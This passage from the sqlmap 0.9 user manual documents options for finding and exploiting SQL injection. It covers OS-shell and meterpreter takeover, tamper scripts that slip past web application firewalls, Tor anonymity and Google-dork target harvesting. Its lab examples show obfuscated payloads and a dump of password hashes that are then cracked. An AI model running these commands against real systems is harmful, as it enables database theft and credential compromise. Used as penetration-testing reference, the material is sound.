- content from HTTP responses when using blind SQL injection technique.
-
- --level=LEVEL Level of tests to perform (1-5, default 1)
- --risk=RISK Risk of tests to perform (0-3, default 1)
- --string=STRING String to match in page when the query is valid
- --regexp=REGEXP Regexp to match in page when the query is valid
- --text-only Compare pages based only on the textual content
-
- Techniques:
- These options can be used to tweak testing of specific SQL injection
- techniques.
-
- --technique=TECH SQL injection techniques to test for (default BEUST)
- --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
- --union-cols=UCOLS Range of columns to test for UNION query SQL injection
- --union-char=UCHAR Character to use for bruteforcing number of columns
-
- Fingerprint:
- -f, --fingerprint Perform an extensive DBMS version fingerprint
-
- Enumeration:
- These options can be used to enumerate the back-end database
- management system information, structure and data contained in the
- tables. Moreover you can run your own SQL statements.
-
- -b, --banner Retrieve DBMS banner
- --current-user Retrieve DBMS current user
- --current-db Retrieve DBMS current database
- --is-dba Detect if the DBMS current user is DBA
- --users Enumerate DBMS users
- --passwords Enumerate DBMS users password hashes
- --privileges Enumerate DBMS users privileges
- --roles Enumerate DBMS users roles
- --dbs Enumerate DBMS databases
- --tables Enumerate DBMS database tables
- --columns Enumerate DBMS database table columns
- --schema Enumerate DBMS schema
- --count Retrieve number of entries for table(s)
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- --search Search column(s), table(s) and/or database name(s)
- -D DB DBMS database to enumerate
- -T TBL DBMS database table to enumerate
- -C COL DBMS database table column to enumerate
- -U USER DBMS user to enumerate
- --exclude-sysdbs Exclude DBMS system databases when enumerating tables
- --start=LIMITSTART First query output entry to retrieve
- --stop=LIMITSTOP Last query output entry to retrieve
- --first=FIRSTCHAR First query output word character to retrieve
- --last=LASTCHAR Last query output word character to retrieve
- --sql-query=QUERY SQL statement to be executed
- --sql-shell Prompt for an interactive SQL shell
-
- Brute force:
- These options can be used to run brute force checks.
-
- --common-tables Check existence of common tables
- --common-columns Check existence of common columns
-
- User-defined function injection:
- These options can be used to create custom user-defined functions.
-
- --udf-inject Inject custom user-defined functions
- --shared-lib=SHLIB Local path of the shared library
-
- File system access:
- These options can be used to access the back-end database management
- system underlying file system.
-
- --file-read=RFILE Read a file from the back-end DBMS file system
- --file-write=WFILE Write a local file on the back-end DBMS file system
- --file-dest=DFILE Back-end DBMS absolute filepath to write to
-
- Operating system access:
- These options can be used to access the back-end database management
- system underlying operating system.
-
- --os-cmd=OSCMD Execute an operating system command
- --os-shell Prompt for an interactive operating system shell
- --os-pwn Prompt for an out-of-band shell, meterpreter or VNC
- --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
- --os-bof Stored procedure buffer overflow exploitation
- --priv-esc Database process' user privilege escalation
- --msf-path=MSFPATH Local path where Metasploit Framework is installed
- --tmp-path=TMPPATH Remote absolute path of temporary files directory
-
- Windows registry access:
- These options can be used to access the back-end database management
- system Windows registry.
-
- --reg-read Read a Windows registry key value
- --reg-add Write a Windows registry key value data
- --reg-del Delete a Windows registry key value
- --reg-key=REGKEY Windows registry key
- --reg-value=REGVAL Windows registry key value
- --reg-data=REGDATA Windows registry key value data
- --reg-type=REGTYPE Windows registry key value type
-
- General:
- These options can be used to set some general working parameters.
-
- -t TRAFFICFILE Log all HTTP traffic into a textual file
- -s SESSIONFILE Save and resume all data retrieved on a session file
- --flush-session Flush session file for current target
- --fresh-queries Ignores query results stored in session file
- --eta Display for each output the estimated time of arrival
- --update Update sqlmap
- --save Save options on a configuration INI file
- --batch Never ask for user input, use the default behaviour
-
- Miscellaneous:
- --beep Alert when sql injection found
- --check-payload IDS detection testing of injection payloads
- --cleanup Clean up the DBMS by sqlmap specific UDF and tables
- --forms Parse and test forms on target url
- --gpage=GOOGLEPAGE Use Google dork results from specified page number
- --mobile Imitate smartphone through HTTP User-Agent header
- --page-rank Display page rank (PR) for Google dork results
- --parse-errors Parse DBMS error messages from response pages
- --replicate Replicate dumped data into a sqlite3 database
- --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address
- --wizard Simple wizard interface for beginner users
-
-
-
-Output verbosity
-
-
-Switch: -v
-
-
-This switch can be used to set the verbosity level of output messages.
-There exist seven levels of verbosity.
-The default level is 1 in which information, warning, error and
-critical messages and Python tracebacks (if any occur) will be displayed.
-
-
-0 : Show only Python tracebacks, error and critical messages.
-1 : Show also information and warning messages.
-2 : Show also debug messages.
-3 : Show also payloads injected.
-4 : Show also HTTP requests.
-5 : Show also HTTP responses' headers.
-6 : Show also HTTP responses' page content.
-
-
-
-A reasonable level of verbosity to further understand what sqlmap does
-under the hood is level 2 , primarily for the detection phase and
-the take-over functionalities. Whereas if you want to see the SQL payloads
-the tools sends, level 3 is your best choice.
-In order to further debug potential bugs or unexpected behaviours, we
-recommend you to set the verbosity to level 4 or above. This
-level is recommended to be used when you feed the developers with a bug
-report too.
-
-
-Target
-
-
-At least one of these options has to be provided.
-
-Target URL
-
-
-Switch: -u or - -url
-
-
-Run sqlmap against a single target URL. This switch requires an argument
-which is the target URL in the form http(s)://targeturl[:port]/[...] .
-
-Parse targets from Burp or WebScarab proxy logs
-
-
-Switch: -l
-
-
-Rather than providing a single target URL, it is possible to test and
-inject against HTTP requests proxied through or This switch requires an argument which is the
-proxy's HTTP requests log file.
-
-Load HTTP request from a file
-
-
-Switch: -r
-
-
-One of the possibilities of sqlmap is loading of complete HTTP request
-from a textual file. That way you can skip usage of bunch of other
-options (e.g. setting of cookies, POSTed data, etc).
-
-
-Sample content of a HTTP request file provided as argument to this switch:
-
-
-POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 192.168.136.131
-User-Agent: Mozilla/4.0
-
-id=1
-
-
-Process Google dork results as target addresses
-
-
-Switch: -g
-
-
-It is also possible to test and inject on GET parameters on the
-results of your Google dork.
-
-
-This option makes sqlmap negotiate with the search engine its session
-cookie to be able to perform a search, then sqlmap will retrieve Google
-first 100 results for the Google dork expression with GET
-parameters asking you if you want to test and inject on each possible
-affected URL.
-
-Load options from a configuration INI file
-
-
-Switch: -c
-
-
-It is possible to pass user's options from a configuration INI file, an
-example is sqlmap.conf .
-
-
-Note that if you also provide other options from command line, those are
-evaluated when running sqlmap and overwrite those provided in the
-configuration file.
-
-
-Request
-
-
-These options can be used to specify how to connect to the target url.
-
-HTTP data
-
-
-Option: - -data
-
-
-By default the HTTP method used to perform HTTP requests is GET ,
-but you can implicitly change it to POST by providing the data to
-be sent in the POST requests. Such data, being those parameters,
-are tested for SQL injection as well as any provided GET
-parameters.
-
-
-HTTP Cookie header
-
-
-Switches: - -cookie , - -drop-set-cookie
-and - -cookie-urlencode
-
-
-This feature can be useful in two ways:
-
-
-- The web application requires authentication based upon cookies and
-you have such data.
-
- You want to detect and exploit SQL injection on such header values.
-
-
-
-Either reason brings you to need to send cookies with sqlmap requests, the
-steps to go through are the following:
-
-
-- Login to the application with your favourite browser.
-
- Get the HTTP Cookie from the browser's preferences or from the HTTP
-proxy screen and copy to the clipboard.
-
- Go back to your shell and run sqlmap by pasting your clipboard as
-the argument of the
- -cookie switch.
-
-
-
-Note that the HTTP Cookie header values are usually separated by
-a ; character, not by an & . sqlmap can
-recognize these as separate sets of parameter=value too, as well
-as GET and POST parameters.
-
-
-If at any time during the communication, the web application responds with
-Set-Cookie headers, sqlmap will automatically use its value in
-all further HTTP requests as the Cookie header. sqlmap will also
-automatically test those values for SQL injection. This can be avoided by
-providing the switch - -drop-set-cookie - sqlmap will
-ignore any coming Set-Cookie header.
-
-
-Vice versa, if you provide a HTTP Cookie header with
-- -cookie switch and the target URL sends an HTTP
-Set-Cookie header at any time, sqlmap will ask you which set of
-cookies to use for the following HTTP requests.
-
-
-sqlmap by default does not URL-encode generated cookie payloads,
-but you can force it by using the - -cookie-urlencode
-switch. Cookie content encoding is not declared by HTTP protocol standard
-in any way, so it is solely the matter of web application's behaviour.
-
-
-Note that also the HTTP Cookie header is tested against SQL
-injection if the - -level is set to 2 or above.
-Read below for details.
-
-
-HTTP User-Agent header
-
-
-Switches: - -user-agent and - -random-agent
-
-
-By default sqlmap performs HTTP requests with the following User-Agent
-header value:
-
-
-sqlmap/0.9 (http://www.sqlmap.org)
-
-
-
-However, it is possible to fake it with the - -user-agent
-switch by providing custom User-Agent as the switch argument.
-
-
-Moreover, by providing the - -random-agent switch, sqlmap
-will randomly select a User-Agent from the ./txt/user-agents.txt
-textual file and use it for all HTTP requests within the session.
-
-
-Some sites perform a server-side check on the HTTP User-Agent
-header value and fail the HTTP response if a valid User-Agent is
-not provided, its value is not expected or is blacklisted by a web
-application firewall or similar intrusion prevention system. In this case
-sqlmap will show you a message as follows:
-
-
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
-force the HTTP User-Agent header with option --user-agent or --random-agent
-
-
-
-Note that also the HTTP User-Agent header is tested against SQL
-injection if the - -level is set to 3 or above.
-Read below for details.
-
-
-HTTP Referer header
-
-
-Switch: - -referer
-
-
-It is possible to fake the HTTP Referer header value. By default
-no HTTP Referer header is sent in HTTP requests if not
-explicitly set.
-
-
-Note that also the HTTP Referer header is tested against SQL
-injection if the - -level is set to 3 or above.
-Read below for details.
-
-
-Extra HTTP headers
-
-
-Switch: - -headers
-
-
-It is possible to provide extra HTTP headers by setting the
-- -headers switch. Each header must be separated by a
-newline and it is much easier to provide them from the configuration INI
-file. Have a look at the sample sqlmap.conf file for an example.
-
-
-HTTP protocol authentication
-
-
-Switches: - -auth-type and - -auth-cred
-
-
-These options can be used to specify which HTTP protocol authentication
-the web server implements and the valid credentials to be used to perform
-all HTTP requests to the target application.
-
-The three supported HTTP protocol authentication mechanisms are:
-
-
-Basic
-Digest
-NTLM
-
-
-While the credentials' syntax is username:password .
-
-
-Example of valid syntax:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- --auth-type Basic --auth-cred "testuser:testpass"
-
-
-
-HTTP protocol certificate authentication
-
-
-Switch: - -auth-cert
-
-
-This switch should be used in cases when the web server requires proper
-client-side certificate for authentication. Supplied values should be in
-the form: key_file,cert_file , where key_file should be
-the name of a PEM formatted file that contains your private key, while
-cert_file should be the name for a PEM formatted certificate
-chain file.
-
-
-HTTP(S) proxy
-
-
-Switches: - -proxy , - -proxy-cred ,
-- -ignore-proxy and - -tor
-
-
-It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S)
-requests to the target URL. The syntax of HTTP(S) proxy value is
-http://url:port .
-
-
-If the HTTP(S) proxy requires authentication, you can provide the
-credentials in the format username:password to the
-- -proxy-cred switch.
-
-
-If, for any reason, you need to stay anonymous, instead of passing by a
-single predefined HTTP(S) proxy server, you can configure a together with
- (or similar) on
-your machine as explained on the Tor client guide and use the Privoxy
-daemon, by default listening on 127.0.0.1:8118 , as the sqlmap
-proxy by simply providing the tool with the - -tor
-switch instead of - -proxy .
-
-
-The switch - -ignore-proxy should be used when you want
-to run sqlmap against a target part of a local area network by ignoring
-the system-wide set HTTP(S) proxy server setting.
-
-
-Delay between each HTTP request
-
-
-Switch: - -delay
-
-
-It is possible to specify a number of seconds to hold between each HTTP(S)
-request. The valid value is a float, for instance 0.5 means half
-a second.
-By default, no delay is set.
-
-
-Seconds to wait before timeout connection
-
-
-Switch: - -timeout
-
-
-It is possible to specify a number of seconds to wait before considering
-the HTTP(S) request timed out. The valid value is a float, for instance
-10.5 means ten seconds and a half.
-By default 30 seconds are set.
-
-
-Maximum number of retries when the HTTP connection timeouts
-
-
-Switch: - -retries
-
-
-It is possible to specify the maximum number of retries when the HTTP(S)
-connection timeouts. By default it retries up to three times .
-
-
-Filtering targets from provided proxy log using regular expression
-
-
-Switch: - -scope
-
-
-Rather than using all hosts parsed from provided logs with switch
--l , you can specify valid Python regular expression to be used
-for filtering desired ones.
-
-Example of valid syntax:
-
-
-$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
-
-
-
-Avoid your session to be destroyed after too many unsuccessful requests
-
-
-Switches: - -safe-url and - -safe-freq
-
-
-Sometimes web applications or inspection technology in between destroys
-the session if a certain number of unsuccessful requests is performed.
-This might occur during the detection phase of sqlmap or when it exploits
-any of the blind SQL injection types. Reason why is that the SQL payload
-does not necessarily returns output and might therefore raise a signal to
-either the application session management or the inspection technology.
-
-
-To bypass this limitation set by the target, you can provide two switches:
-
-
-- -safe-url : Url address to visit frequently during
-testing.
-- -safe-freq : Test requests between two visits to a
-given safe url.
-
-
-
-This way, sqlmap will visit every a predefined number of requests a
-certain safe URL without performing any kind of injection against
-it.
-
-
-Optimization
-
-
-These switches can be used to optimize the performance of sqlmap.
-
-
-Bundle optimization
-
-
-Switch: -o
-
-
-This switch is an alias that implicitly sets the following switches:
-
-
-- -keep-alive
-- -null-connection
-- -threads 3 if not set to a higher value.
-
-
-
-Read below for details about each switch.
-
-
-Output prediction
-
-
-Switch: - -predict-output
-
-
-This switch is used in inference algorithm for sequential statistical
-prediction of characters of value being retrieved. Statistical table with
-the most promising character values is being built based on items given in
-txt/common-outputs.txt combined with the knowledge of current
-enumeration used. In case that the value can be found among the common
-output values, as the process progresses, subsequent character tables are
-being narrowed more and more. If used in combination with retrieval of
-common DBMS entities, as with system table names and privileges, speed up
-is significant. Of course, you can edit the common outputs file according
-to your needs if, for instance, you notice common patterns in database
-table names or similar.
-
-
-Note that this switch is not compatible with - -threads
-switch.
-
-
-HTTP Keep-Alive
-
-
-Switch: - -keep-alive
-
-
-This switch instructs sqlmap to use persistent HTTP(s) connections.
-
-
-Note that this switch is incompatible with - -proxy
-switch.
-
-
-HTTP NULL connection
-
-
-Switch: - -null-connection
-
-
-There are special HTTP request types which can be used to retrieve
-HTTP response's size without getting the HTTP body. This knowledge can be
-used in blind injection technique to distinguish True from
-False responses. When this switch is provided, sqlmap will try to
-test and exploit two different NULL connection techniques:
-Range and HEAD .
-If any of these is supported by the target web server, speed up will come
-from the obvious saving of used bandwidth.
-
-
-These techniques are detailed in the white paper
-.
-
-
-Note that this switch is incompatible with - -text-only
-switch.
-
-
-Concurrent HTTP(S) requests
-
-
-Switch: - -threads
-
-
-It is possible to specify the maximum number of concurrent HTTP(S)
-requests that sqlmap is allowed to do.
-This feature relies on the concept and inherits both its pro and its cons.
-
-
-This features applies to the brute-force switches and when the data
-fetching is done through any of the blind SQL injection techniques.
-For the latter case, sqlmap first calculates the length of the query
-output in a single thread, then starts the multi-threading. Each thread is
-assigned to retrieve one character of the query output. The thread ends
-when that character is retrieved - it takes up to 7 HTTP(S) requests with
-the bisection algorithm implemented in sqlmap.
-
-
-The maximum number of concurrent requests is set to 10 for
-performance and site reliability reasons.
-
-
-Note that this switch is not compatible with
-- -predict-output switch.
-
-
-Injection
-
-
-These options can be used to specify which parameters to test for, provide
-custom injection payloads and optional tampering scripts.
-
-Testable parameter(s)
-
-
-Switch: -p
-
-
-By default sqlmap tests all GET parameters and POST
-parameters. When the value of - -level is >= 2
-it tests also HTTP Cookie header values. When this value is >=
-3 it tests also HTTP User-Agent and HTTP Referer
-header value for SQL injections.
-It is however possible to manually specify a comma-separated list of
-parameter(s) that you want sqlmap to test. This will bypass the dependence
-on the value of - -level too.
-
-
-For instance, to test for GET parameter id and for HTTP
-User-Agent only, provide -p id,user-agent .
-
-
-URI injection point
-
-
-There are special cases when injection point is within the URI itself.
-sqlmap does not perform any automatic test against URI paths, unless
-manually pointed to.
-You have to specify these injection points in the command line by
-appending an asterisk (* ) after each URI point that you want
-sqlmap to test for and exploit a SQL injection.
-
-
-This is particularly useful when, for instance, Apache web server's
- module is in use or other similar technologies.
-
-
-An example of valid command line would be:
-
-
-$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
-
-
-
-Force the database management system name
-
-
-Switch: - -dbms
-
-
-By default sqlmap automatically detects the web application's back-end
-database management system.
-As of version 0.9 , sqlmap fully supports the following database
-management systems:
-
-
-- MySQL
-
- Oracle
-
- PostgreSQL
-
- Microsoft SQL Server
-
- Microsoft Access
-
- SQLite
-
- Firebird
-
- Sybase
-
- SAP MaxDB
-
-
-
-If for any reason sqlmap fails to detect the back-end DBMS once a SQL
-injection has been identified or if you want to avoid an active fingeprint,
-you can provide the name of the back-end DBMS yourself (e.g. postgresql ).
-For MySQL and Microsoft SQL Server provide them respectively in the form
-MySQL <version> and Microsoft SQL Server <version>
- , where <version> is a valid version for the DBMS; for
-instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
-
-
-In case you provide - -fingerprint together with
-- -dbms , sqlmap will only perform the extensive
-fingerprint for the specified database management system only, read below
-for further details.
-
-
-Note that this option is not mandatory and it is strongly
-recommended to use it only if you are absolutely sure about the
-back-end database management system. If you do not know it, let sqlmap
-automatically fingerprint it for you.
-
-
-Force the database management system operating system name
-
-
-Switch: - -os
-
-
-By default sqlmap automatically detects the web application's back-end
-database management system underlying operating system when this
-information is a dependence of any other provided switch.
-At the moment the fully supported operating systems are two:
-
-
-- Linux
-
- Windows
-
-
-
-It is possible to force the operating system name if you already know it
-so that sqlmap will avoid doing it itself.
-
-
-Note that this option is not mandatory and it is strongly
-recommended to use it only if you are absolutely sure about the
-back-end database management system underlying operating system. If you do
-not know it, let sqlmap automatically identify it for you.
-
-
-Custom injection payload
-
-
-Switches: - -prefix and - -suffix
-
-
-In some circumstances the vulnerable parameter is exploitable only if the
-user provides a specific suffix to be appended to the injection payload.
-Another scenario where these options come handy presents itself when the
-user already knows that query syntax and want to detect and exploit the
-SQL injection by directly providing a injection payload prefix and suffix.
-
-
-Example of vulnerable source code:
-
-
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
-
-
-
-To detect and exploit this SQL injection, you can either let sqlmap detect
-the boundaries (as in combination of SQL payload prefix and
-suffix) for you during the detection phase, or provide them on your own.
-For example:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
- -p id --prefix "')" --suffix "AND ('abc'='abc"
-[...]
-
-
-
-This will result in all sqlmap requests to end up in a query as follows:
-
-
-$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1";
-
-
-
-Which makes the query syntactically correct.
-
-
-In this simple example, sqlmap could detect the SQL injection and exploit
-it without need to provide custom boundaries, but sometimes in real world
-application it is necessary to provide it when the injection point is
-within nested JOIN queries for instance.
-
-
-Tamper injection data
-
-
-Switch: - -tamper
-
-
-sqlmap itself does no obfuscation of the payload sent, except for strings
-between single quotes replaced by their CHAR() -alike
-representation.
-
-
-This switch can be very useful and powerful in situations where there is
-a weak input validation mechanism between you and the back-end database
-management system. This mechanism usually is a self-developed input
-validation routine called by the application source code, an expensive
-enterprise-grade IPS appliance or a web application firewall (WAF). All
-buzzwords to define the same concept, implemented in a different way and
-costing lots of money, usually.
-
-
-To take advantage of this switch, provide sqlmap with a comma-separated
-list of tamper scripts and this will process the payload and return it
-transformed. You can define your own tamper scripts, use sqlmap ones from
-the tamper/ folder or edit them as long as you concatenate them
-comma-separated as the argument of - -tamper switch.
-
-
-The format of a valid tamper script is as follows:
-
-
-# Needed imports
-from lib.core.enums import PRIORITY
-
-# Define which is the order of application of tamper scripts against the payload
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload):
- '''
- Description of your tamper script
- '''
-
- retVal = payload
-
- # your code to tamper the original payload
-
- # return the tampered payload
- return retVal
-
-
-
-You can check valid and usable tamper scripts in the tamper/
-directory.
-
-
-Example against a MySQL target assuming that > character,
-spaces and capital SELECT string are banned:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
- tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
-
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [INFO] loading tamper script 'between'
-[hh:mm:03] [INFO] loading tamper script 'randomcase'
-[hh:mm:03] [INFO] loading tamper script 'space2comment'
-[...]
-[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
-[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
-[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
-[...]
-[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
-58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
-ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
-group/**/bY/**/x)a)
-[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
-clause' injectable
-[...]
-
-
-
-
-Detection
-
-
-These options can be used to specify how to parse and compare page
-content from HTTP responses when using blind SQL injection technique.
-
-Level
-
-
-Switch: - -level
-
-
-This switch requires an argument which specifies the level of tests to
-perform. There are five levels. The default value is 1
-where limited number of tests (requests) are performed. Vice versa, level
-5 will test verbosely for a much larger number of payloads and
-boundaries (as in pair of SQL payload prefix and suffix).
-The payloads used by sqlmap are specified in the textual file
-xml/payloads.xml . Following the instructions on top of the file,
-if sqlmap misses an injection, you should be able to add your own
-payload(s) to test for too!
-
-
-Not only this switch affects which payload sqlmap tries, but also which
-injection points are taken in exam: GET and POST parameters are
-always tested, HTTP Cookie header values are tested from level
-2 and HTTP User-Agent/Referer headers' value is tested from level
-3 .
-
-
-All in all, the harder it is to detect a SQL injection, the higher the
-- -level must be set.
-
-
-It is strongly recommended to higher this value before reporting to the
-mailing list that sqlmap is not able to detect a certain injection point.
-
-
-Risk
-
-
-Switch: - -risk
-
-
-This switch requires an argument which specifies the risk of tests to
-perform. There are four risk values. The default value is
-1 which is innocuous for the majority of SQL injection points.
-Risk value 2 adds to the default level the tests for heavy query
-time-based SQL injections and value 3 adds also OR -based SQL
-injection tests.
-
-
-In some instances, like a SQL injection in an UPDATE statement,
-injecting an OR -based payload can lead to an update of all the
-entries of the table, which is certainly not what the attacker wants. For
-this reason and others this switch has been introduced: the user has
-control over which payloads get tested, the user can arbitrarily choose
-to use also potentially dangerous ones.
-As per the previous switch, the payloads used by sqlmap are specified in
-the textual file xml/payloads.xml and you are free to edit and
-add your owns.
-
-
-Page comparison
-
-
-Switches: - -string , - -regexp and
-- -text-only
-
-
-By default the distinction of a True query by a False
-one (rough concept behind boolean-based blind SQL injection vulnerabilities)
-is done by comparing the injected requests page content with the original
-not injected page content.
-Not always this concept works because sometimes the page content changes at
-each refresh even not injecting anything, for instance when the page has a
-counter, a dynamic advertisement banner or any other part of the HTML which
-is rendered dynamically and might change in time not only consequently to
-user's input.
-To bypass this limit, sqlmap tries hard to identify these snippets of the
-response bodies and deal accordingly. Sometimes it may fail, that is why
-the user can provide a string (- -string switch) which is
-always present on the not injected page and on all True
-injected query pages, but that it is not on the False ones. As
-an alternative to a static string, the user can provide a regular
-expression (- -regexp switch).
-
-
-Such data is easy for an user to retrieve, simply try to inject on the
-affected parameter an invalid value and compare manually the original (not
-injected) page content with the injected wrong page content.
-This way the distinction will be based upon string presence or regular
-expression match.
-
-
-In cases with lot of active content (e.g. scripts, embeds, etc.) in the
-HTTP responses' body, you can filter pages (- -text-only
-switch) just for their textual content. This way, in a good number of
-cases, you can automatically tune the detection engine.
-
-
-Techniques
-
-
-These options can be used to tweak testing of specific SQL injection
-techniques.
-
-
-SQL injection techniques to test for
-
-
-Switch: - -technique
-
-
-This switch can be used to specify which SQL injection type to test for.
-By default sqlmap tests for all types/techniques it supports.
-
-
-In certain situations you may want to test only for one or few specific
-types of SQL injection thought and this is where this switch comes into
-play.
-
-
-This switch requires an argument. Such argument is a string composed by
-any combination of B , E , U , S and
-T characters where each letter stands for a different technique:
-
-
-B : Boolean-based blind SQL injection
-E : Error-based SQL injection
-U : UNION query SQL injection
-S : Stacked queries SQL injection
-T : Time-based blind SQL injection
-
-
-
-For instance, you can provide ES if you want to test for and
-exploit error-based and stacked queries SQL injection types only.
-The default value is BEUST .
-
-
-Note that the string must include stacked queries technique letter,
-S , when you want to access the file system, takeover the
-operating system or access Windows registry hives.
-
-
-Seconds to delay the DBMS response for time-based blind SQL injection
-
-
-Switch: - -time-sec
-
-
-It is possible to set the seconds to delay the response when testing for
-time-based blind SQL injection, by providing the
-- -time-sec option followed by an integer.
-By default delay is set to 5 seconds .
-
-
-Number of columns in UNION query SQL injection
-
-
-Switch: - -union-cols
-
-
-By default sqlmap tests for UNION query SQL injection technique using 1 to
-10 columns. However, this range can be increased up to 50 columns by
-providing an higher - -level value. See the relevant
-paragraph for details.
-
-
-You can manually tell sqlmap to test for this type of SQL injection with a
-specific range of columns by providing the tool with the
-- -union-cols switch followed by a range of integers. For
-instance, 12-16 means tests for UNION query SQL injection by
-using 12 up to 16 columns.
-
-
-Character to use to test for UNION query SQL injection
-
-
-Switch: - -union-char
-
-
-By default sqlmap tests for UNION query SQL injection technique using
-NULL character. However, by providing an higher
-- -level value sqlmap will performs tests also with a
-random number because there are some corner cases where UNION query tests
-with NULL fail whereas with a random integer they succeed.
-
-
-You can manually tell sqlmap to test for this type of SQL injection with a
-specific character by providing the tool with the
-- -union-char switch followed by a string.
-
-
-Fingerprint
-
-Extensive database management system fingerprint
-
-
-Switches: -f or - -fingerprint
-
-
-By default the web application's back-end database management system
-fingerprint is handled automatically by sqlmap.
-Just after the detection phase finishes and the user is eventually
-prompted with a choice of which vulnerable parameter to use further on,
-sqlmap fingerprints the back-end database management system and carries
-on the injection by knowing which SQL syntax, dialect and queries to use
-to proceed with the attack within the limits of the database architecture.
-
-
-If for any instance you want to perform an extensive database management
-system fingerprint based on various techniques like specific SQL dialects
-and inband error messages, you can provide the
-- -fingerprint switch. sqlmap will perform a lot more
-requests and fingerprint the exact DBMS version and, where possible,
-operating system, architecture and patch level.
-
-
-If you want the fingerprint to be even more accurate result, you can also
-provide the -b or - -banner switch.
-
-
-Enumeration
-
-
-These options can be used to enumerate the back-end database management
-system information, structure and data contained in the tables. Moreover
-you can run your own SQL statements.
-
-
-Banner
-
-
-Switch: -b or - -banner
-
-
-Most of the modern database management systems have a function and/or
-an environment variable which returns the database management system
-version and eventually details on its patch level, the underlying
-system. Usually the function is version() and the environment
-variable is @@version , but this vary depending on the target
-DBMS.
-
-
-Session user
-
-
-Switch: - -current-user
-
-
-On the majority of modern DBMSes is possible to retrieve the database
-management system's user which is effectively performing the query against
-the back-end DBMS from the web application.
-
-
-Current database
-
-
-Switch: - -current-db
-
-
-It is possible to retrieve the database management system's database name
-that the web application is connected to.
-
-
-Detect whether or not the session user is a database administrator
-
-
-Switch: - -is-dba
-
-
-It is possible to detect if the current database management system session
-user is a database administrator, also known as DBA.
-sqlmap will return True if it is, viceversa False .
-
-
-List database management system users
-
-
-Switch: - -users
-
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the list of
-users.
-
-
-List and crack database management system users password hashes
-
-
-Switches: - -passwords and -U
-
-
-When the session user has read access to the system table containing
-information about the DBMS users' passwords, it is possible to enumerate
-the password hashes for each database management system user.
-sqlmap will first enumerate the users, then the different password hashes
-for each of them.
-
-
-Example against a PostgreSQL target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-[hh:mm:38] [INFO] fetching database users password hashes
-do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
-[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
-what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
-[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
-do you want to use common password suffixes? (slow!) [y/N] n
-[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
-[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
-[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
-database management system users password hashes:
-[*] postgres [1]:
- password hash: md5d7d880f96044b72d0bba108ace96d1e4
- clear-text password: testpass
-[*] testuser [1]:
- password hash: md599e5ea7a6f7c3269995cba3927fd0093
- clear-text password: testpass
-
-
-
-Not only sqlmap enumerated the DBMS users and their passwords, but it also
-recognized the hash format to be PostgreSQL, asked the user whether or not
-to test the hashes against a dictionary file and identified the clear-text
-password for the postgres user, which is usually a DBA along the
-other user, testuser , password.
-
-
-This feature has been implemented for all DBMS where it is possible to
-enumerate users' password hashes, including Oracle and Microsoft SQL
-Server pre and post 2005.
-
-
-You can also provide the -U option to specify the specific user
-who you want to enumerate and eventually crack the password hash(es).
-If you provide CU as username it will consider it as an alias for
-current user and will retrieve the password hash(es) for this user.
-
-
-List database management system users privileges
-
-
-Switches: - -privileges and -U
-
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the
-privileges for each database management system user.
-By the privileges, sqlmap will also show you which are database
-administrators.
-
-
-You can also provide the -U option to specify the user who you
-want to enumerate the privileges.
-
-
-If you provide CU as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
-
-
-On Microsoft SQL Server, this feature will display you whether or not each
-user is a database administrator rather than the list of privileges for
-all users.
-
-
-List database management system users roles
-
-
-Switches: - -roles and -U
-
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the
-roles for each database management system user.
-
-
-You can also provide the -U option to specify the user who you
-want to enumerate the privileges.
-
-
-If you provide CU as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
-
-
-This feature is only available when the DBMS is Oracle.
-
-
-List database management system's databases
-
-
-Switch: - -dbs
-
-
-When the session user has read access to the system table containing
